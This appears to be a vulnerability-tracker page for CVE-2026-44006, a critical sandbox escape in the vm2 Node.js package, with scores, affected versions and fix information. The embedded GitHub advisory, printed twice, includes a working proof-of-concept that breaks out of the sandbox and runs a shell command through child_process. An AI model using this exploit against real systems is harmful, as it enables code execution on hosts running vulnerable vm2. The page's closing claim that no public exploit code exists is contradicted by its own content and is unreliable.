CVE-2026-44006

vm2: Sandbox Escape

10.0 CriticalFix available

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

Exploit likelihood

0.81%Up 0.8 points since May 14, 2026

What each source reports

CVE List Score used 10.0

vm2: Sandbox Escape

Record: CVE-2026-44006
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-94, CWE-914
Updated: 2026-11-02

EUVDEUVD-2026-30076 10.0

Record: EUVD-2026-30076
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-qcp4-v2jj-fjx8 10.0

vm2 has a Sandbox Escape Vulnerability

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC

let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Record: GHSA-qcp4-v2jj-fjx8
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-94
Updated: 2026-11-02

NVD 10.0

Record: CVE-2026-44006
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-94, CWE-914
Updated: 2026-11-02

OSV 10.0

vm2: Sandbox Escape

Record: CVE-2026-44006
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-94
Updated: 2026-11-02

OSVGHSA-qcp4-v2jj-fjx8 10.0

vm2 has a Sandbox Escape Vulnerability

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC

let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Record: GHSA-qcp4-v2jj-fjx8
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-94
Updated: 2026-11-02

OSVROOT-APP-NPM-CVE-2026-44006 10.0

CVE-2026-44006 in vm2 - Patched by Root

Root has patched CVE-2026-44006 in the vm2 package for Root:npm. Multiple fixed versions available.

Record: ROOT-APP-NPM-CVE-2026-44006
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVCLSA-2026-1787860907 No score

TuxCare security update for vm2 (34 CVEs)

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.

Record: CLSA-2026-1787860907
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`vm2` npm	through 3.10.5	3.11.0
`vm2` TuxCare:npm From an advisory covering 30 CVEs	3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions 3.10.0	3.10.0-tuxcare.1
`vm2` npm	before 3.11.0	3.11.0
`vm2` Root:npm	before 3.9.17-aikido.11	3.9.17-aikido.113.9.17-aikido.123.10.5-aikido.63.9.17-aikido.133.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.10.5-aikido.73.9.7-aikido.53.9.7-aikido.63.10.5-aikido.8
`@rootio/vm2` Root:npm	before 3.10.5-root.io.3	3.10.5-root.io.33.10.5-root.io.43.10.5-root.io.53.9.17-root.io.113.9.17-root.io.123.10.5-root.io.63.9.17-root.io.133.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.10.5-root.io.73.9.7-root.io.53.9.7-root.io.63.10.5-root.io.8

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected
Nov 5, 2026	facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44006 is a critical vulnerability (CVSS 10.0) in Patriksimek Vm2, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.81%, the 57th percentile. Fixed in vm2 3.11.0.

References

Show 5 moreShow less